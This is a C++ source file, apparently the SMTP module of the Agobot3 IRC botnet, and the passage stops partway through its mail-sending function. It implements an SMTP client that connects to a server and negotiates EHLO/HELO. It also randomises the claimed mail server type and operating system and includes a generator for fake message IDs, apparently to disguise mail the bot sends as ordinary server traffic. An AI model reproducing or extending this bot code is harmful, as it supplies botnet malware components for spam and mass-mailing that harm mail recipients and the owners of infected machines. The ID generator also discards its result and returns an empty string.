smtp.cpp.svn-base

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/*	Agobot3 - a modular IRC bot for Win32 / Linux
	Copyright (C) 2003 Ago

	This program is free software; you can redistribute it and/or
	modify it under the terms of the GNU General Public License
	as published by the Free Software Foundation; either version 2
	of the License, or (at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. */

#include "main.h"
#include "mainctrl.h"
#include "smtp.h"
#include "smtp_logic.h"

//
// SMTP Connection class
//

// gaia:
// Received: from gaia ([207.253.117.144]) by sims-ha.videotron.net (Sun Internet Mail Server sims.3.5.1998.03.08.20.27) with ESMTP id <[e-mail]> for [e-mail]; Mon,  5 Apr 1999 02:17:26 -0400 (EDT)
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// microsoft smtpsvc:
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// ???
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//extern CSMTP_Logic g_cSMTPLogic;

CSMTP_Connection::CSMTP_Connection() {
	// Clear server socket  and reset values
	m_sServerSocket=SOCKET_ERROR; m_bConnected=false; m_bUseSMTPExt=false;
	m_iMTAType=brandom(MTA_TYPE_UNKNOWN, MTA_TYPE_QMAIL);
}

CSMTP_Connection::~CSMTP_Connection() {
	// Disconnect if connected
	Disconnect();
}

void CSMTP_Connection::Init() {
	// Disconnect if connected and reset values
	Disconnect(); m_sServerSocket=SOCKET_ERROR; m_bUseSMTPExt=false;
	m_iMTAType=brandom(MTA_TYPE_UNKNOWN, MTA_TYPE_QMAIL);
}

bool CSMTP_Connection::Connect(CString sHost, int iPort) {
	// Fail if already connected
	if(m_sServerSocket.IsConnected() || m_bConnected) return false;

	// Connect to the server
	if(!m_sServerSocket.Connect(sHost.CStr(), iPort)) {
		// Connection failed
#ifdef DBGCONSOLE
		g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
			"Failed to connect to \"%s:%d\"!\n", this,
			sHost.CStr(), iPort);
#endif // DBGCONSOLE
		return false;
	}

	// Store server address in member variables
	m_sServerHost.Assign(sHost); m_iServerPort=iPort;

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(3, "CSMTP_Connection(0x%8.8Xh): "
		"Connected to \"%s:%d\"!\n", this,
		m_sServerHost.CStr(), m_iServerPort);
#endif // DBGCONSOLE

	// Receive banner
	CString sRecvBuf;
	if(!m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192)) {
		// Connection reset
#ifdef DBGCONSOLE
		g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
			"Connection reset!\n", this);
#endif // DBGCONSOLE
		Disconnect(); return false;
	}

	// Check if connection was accepted
	if(sRecvBuf.Mid(0, 3).Compare("220")) {
		// Connection not accepted
#ifdef DBGCONSOLE
		g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
			"Server rejected connection!\n", this);
#endif // DBGCONSOLE
		Disconnect(); return false;
	}

	// Set connection status to true and return true
	m_bConnected=true; return true;
}

bool CSMTP_Connection::Disconnect() {
	// Fail if not connected
	if(!m_sServerSocket.IsConnected()) return false;

	// Send QUIT command
	CString sReqBuf; sReqBuf.Format("QUIT\r\n");
	m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength());

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(3, "CSMTP_Connection(0x%8.8Xh): "
		"Disconnecting from \"%s:%d\"!\n", this,
		m_sServerHost.CStr(), m_iServerPort);
#endif // DBGCONSOLE

	// Close socket and reset variables
	m_sServerSocket.Disconnect();
	m_sServerHost.Assign(""); m_iServerPort=0; m_bConnected=false;
	return true;
}

CString GenerateID() {
	// E1AOkjD-0001RE-00

	CString sID; sID.Assign("       -      -  ");

	for(int i=0; i<7; i++) {
		int iType=brandom(1,3); switch(iType) {
			case 1:
				// Uppercase letter
				sID[i]=brandom(65, 90);
				break;
			case 2:
				// Lowercase letter
				sID[i]=brandom(97, 122);
				break;
			case 3:
				// Number
				sID[i]=brandom(48, 57);
				break;
		}
	}

	for(i=8; i<12; i++) {
		// Number
		sID[i]=brandom(48, 57);
	}

	for(i=12; i<14; i++) {
		// Uppercase letter
		sID[i]=brandom(65, 90);
	}

	for(i=15; i<17; i++) {
		// Number
		sID[i]=brandom(48, 57);
	}

	return CString("");
}

bool CSMTP_Connection::Hello() {
	CString sReqBuf; CString sRecvBuf; CString sHost;

	// Get local hostname
	sHost.Assign(g_pMainCtrl->m_cIRC.m_sLocalHost.CStr());
	
	// Send EHLO command
	sReqBuf.Format("EHLO %s\r\n", sHost.CStr());
	m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength());

	// Receive reply
	if(!m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192)) {
		// Connection reset
#ifdef DBGCONSOLE
		g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
			"Connection reset!\n", this);
#endif // DBGCONSOLE
		Disconnect(); return false;
	}

	// Check if EHLO was accepted
	if(sRecvBuf.Mid(0, 3).Compare("250")) {
		// EHLO not accepted, try HELO (no ESMTP)
#ifdef DBGCONSOLE
		g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
			"Server rejected EHLO, disabling SMTP extensions!\n", this);
#endif // DBGCONSOLE

		// Send HELO command
		sReqBuf.Format("HELO %s\r\n", sHost.CStr());
		m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength());

		// Receive reply
		if(!m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192)) {
			// Connection reset
#ifdef DBGCONSOLE
			g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
				"Connection reset!\n", this);
#endif // DBGCONSOLE
			Disconnect(); return false;
		}

		// Check if HELO was accepted
		if(sRecvBuf.Mid(0, 3).Compare("250")) {
			// HELO not accepted
#ifdef DBGCONSOLE
			g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
				"Server rejected HELO!\n", this);
#endif // DBGCONSOLE
			Disconnect(); return false;
		}

		// HELO accepted, disable ESMTP and return true
		m_bUseSMTPExt=false; return true;
	}

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
		"Enabled SMTP extensions!\n", this);
#endif // DBGCONSOLE

	// EHLO accepted, enable ESMTP and return true
	m_bUseSMTPExt=true; return true;
}

bool CSMTP_Connection::Mail(CString sMailFrom, CString sMailFromFull, 
							CString sRcptTo, CString sSubject, CString sData) {
	CString sReqBuf, sRecvBuf, sHost, sSrcID, sMTA, sOS;

	init_random();

	m_iMTAType=brandom(MTA_TYPE_UNKNOWN, MTA_TYPE_QMAIL);

	switch(brandom(1,5)) {
	case 1:
		sOS.Assign("Debian"); break;
	case 2:
		sOS.Assign("RedHat"); break;
	case 3:
		sOS.Assign("SuSE"); break;
	case 4:
		sOS.Assign("Slackware"); break;